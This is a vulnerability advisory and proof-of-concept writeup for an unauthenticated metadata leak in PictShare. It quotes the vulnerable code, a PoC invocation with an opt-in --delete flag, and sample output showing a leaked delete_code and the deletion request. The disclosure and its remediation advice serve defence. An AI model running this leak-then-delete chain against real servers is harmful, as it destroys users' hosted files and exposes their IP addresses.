Sensitive info disclosure via info API in PictShare < 3.7.1 (CWE-522). PoC + advisory writeup.
info API in PictShareAuthorized security research. PoC for defensive and educational use only.
The /api/info/<hash> endpoint of PictShare
returns the complete raw metadata object for any uploaded file — including the secret
delete_code that authorizes deletion, plus the uploader's IP, User-Agent, remote port and
SHA-1. An unauthenticated attacker who knows a file's (publicly visible) hash can read its
delete_code and then permanently delete arbitrary hosted files.
| CVE | CVE-2026-104051 |
| Product | PictShare (self-hosted image/media host) |
| Affected | >= 2.0.0, < 3.7.1 |
| Fixed in | v3.7.1 |
| Vulnerability | Insufficiently Protected Credentials (CWE-522) → arbitrary file deletion + privacy loss |
| Privileges | None (unauthenticated) |
| CVSS 3.1 | 8.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H |
| CVSS 4.0 | 8.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H |
| Discovered by | Alisher Qarshibayev |
| Advisory | VulnCheck |
API::info() looks up the hash and returns getMetadataOfHash() verbatim — no field
whitelist:
// src/inc/api.class.php (< 3.7.1)
public function info()
{
$hash = $this->url[1] ?? '';
if (!$hash) return ['status' => 'err', 'reason' => 'Missing hash'];
if (!isExistingHash($hash)) return ['status' => 'err', 'reason' => 'Hash not found'];
return getMetadataOfHash($hash); // <-- raw meta.json, includes delete_code, ip, useragent
}
And checkPermissions() — the only gate before the info route — checks filesystem
writability, not identity, so info is reachable unauthenticated:
public function checkPermissions()
{
if (!isFolderWritable(getDataDir())) throw new Exception('Data directory not writable');
else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}
The returned metadata contains delete_code, which the delete API accepts as the sole
authorization secret:
// src/inc/api.class.php delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);
File hashes are public (they appear in every shared image URL), so the whole chain —
leak the code via info, then delete via delete — needs nothing but the URL a user
already shared.
python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step
Expected result:
[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
delete_code : 7f3a9c1e... <-- SECRET, should never be exposed
ip : 203.0.113.44 <-- uploader privacy leak
useragent : Mozilla/5.0 ...
remote_port : 51544
sha1 : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}
See poc.py. Deletion is opt-in (--delete) so the default run is
read-only and non-destructive.
Upgrade to PictShare 3.7.1 (fix commit ce5fc47).
info() now returns a strict whitelist (mime, size, hash, sha1, uploaded) and no
longer leaks delete_code, ip, useragent or remote_port. General guidance: API
responses must whitelist fields explicitly; never serialize an internal record that mixes
secrets with public data.
Related: CVE-2026-104356 — even without this leak, the
delete_codewas predictable because it was generated withrand().
| Date | Event |
|---|---|
| 2026-10-01 | Public disclosure, CVE reserved & published (VulnCheck), fixed in v3.7.1 |
Responsibly disclosed to the vendor and coordinated through VulnCheck. Fixed before this PoC was released. Published for defensive and educational purposes.